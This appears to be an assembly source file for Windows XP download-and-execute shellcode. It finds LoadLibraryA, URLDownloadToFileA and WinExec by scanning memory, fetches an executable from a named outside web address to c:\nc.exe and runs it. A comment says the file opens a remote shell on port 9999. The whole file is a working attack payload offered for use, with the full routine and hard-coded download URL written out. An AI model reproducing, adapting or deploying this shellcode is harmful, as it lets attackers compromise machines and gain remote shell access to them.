Generic Windows XP URL download and execute shellcode.
a34c8afa73948e9a867355665d03c33149372aaa3f3bfd06d5782544de061ed0
; Generic WinXP Download and Execute
; [peter4020@hotmail.com]
;
; nasmw -s -fbin -o tinydown.s tinydown.asm
bits 32
start:
jmp short pastfunct
; ######################################################################################
; # SCANNER() FUNCTION #
; ######################################################################################
;
; sub scanner(distance from function, dword dll base, dword code length, dword search string)
scanner:
pop esi ; esi = return address
pop edx ; dl = distance from function
pop edi ; edi = dll base
pop ecx ; ecx = code length
pop ebx ; ebx = search string
trawlmem:
inc edi
mov al, bl ; first byte of ebx; search string
repne scasb
jmp short checkbytes
nop
checkbytes:
dec edi
push esi ; preserve return address
push dword [edi]
pop esi
cmp ebx, esi
pop esi
je short gotcha
jmp short trawlmem
gotcha:
sub edi, edx ; get to start of ?? function
call edi ; call ??
jmp esi ; return to code
; end sub
; ######################################################################################
pastfunct:
jmp short avoidnastynulls
; ######################################################################################
; # FIND STRING OFFSETS #
; ######################################################################################
;
continue:
pop edi
mov esi, edi ; esi = 'urlmon.dll'
mov al, 0ffh
repne scasb
inc byte [edi-01h]
mov ebx, edi ; ebx = string of url
mov al, 0ffh
repne scasb
inc byte [edi-01h]
mov edx, edi ; edx = path of download
repne scasb
inc byte [edi-01h]
push edx
push ebx ; store our addresses for later
push edx
push esi
; ######################################################################################
jmp short pastpoint
avoidnastynulls:
jmp short data
pastpoint:
; ######################################################################################
; # MAIN SHELL CODE #
; ######################################################################################
;
; setup function to be called (loadlibrarya)
push esi ; 'urlmon.dll'
; end setup
; setup scanner()
push dword 0c25b5effh ; unique string a know offset from loadlibrarya
push dword 0deadc0deh ; long loop to cover entire file in memory
push dword 77e60101h ; kernel32.dll base + 0101h
xor edx, edx
mov dl, 2eh ; -2eh from loadlibrarya address
push edx
; end setup
call scanner
pop esi ; get our string addresses back
pop edx
pop ebx
push edx ; edx = path of file
; setup function to be called (urldownloadtofilea)
push edx
xor ecx, ecx
push ecx
push ecx
push edx ; path of download
push ebx ; url of download
push ecx
; end setup
; setup scanner()
push dword 8d8d5602h
push dword 0badc0dedh
push eax ; eax = base of urlmon.dll
xor edx, edx
mov dl, 1bh
push edx
; end setup
call scanner
nop
nop
pop edx ; get file path back
; setup function to be called (winexec)
pop edx
xor ecx, ecx
;inc ecx
push ecx
push edx
; end setup
; setup scanner()
push dword 0c458b66h
push dword 1337f00dh
push dword 77e60101h
xor edx, edx
mov dl, 16h
push edx
; end setup
call scanner
mov ecx, 0deadc0deh
infloop: ; infinite loop; no crash when done
inc ecx
cmp ecx, 0badc0dedh
loopnz infloop ; if this slows you down too much, remove it!
int3h
; ######################################################################################
; ######################################################################################
; # TEXT DATA #
; ######################################################################################
;
data:
call continue
db 'URLMON.DLL', 0ffh
db 'http://www.elitehaven.net/ncat.exe', 0ffh ; the file at this address
; spawns remote shell on port 9999
db 'c:\nc.exe', 0ffh
; ######################################################################################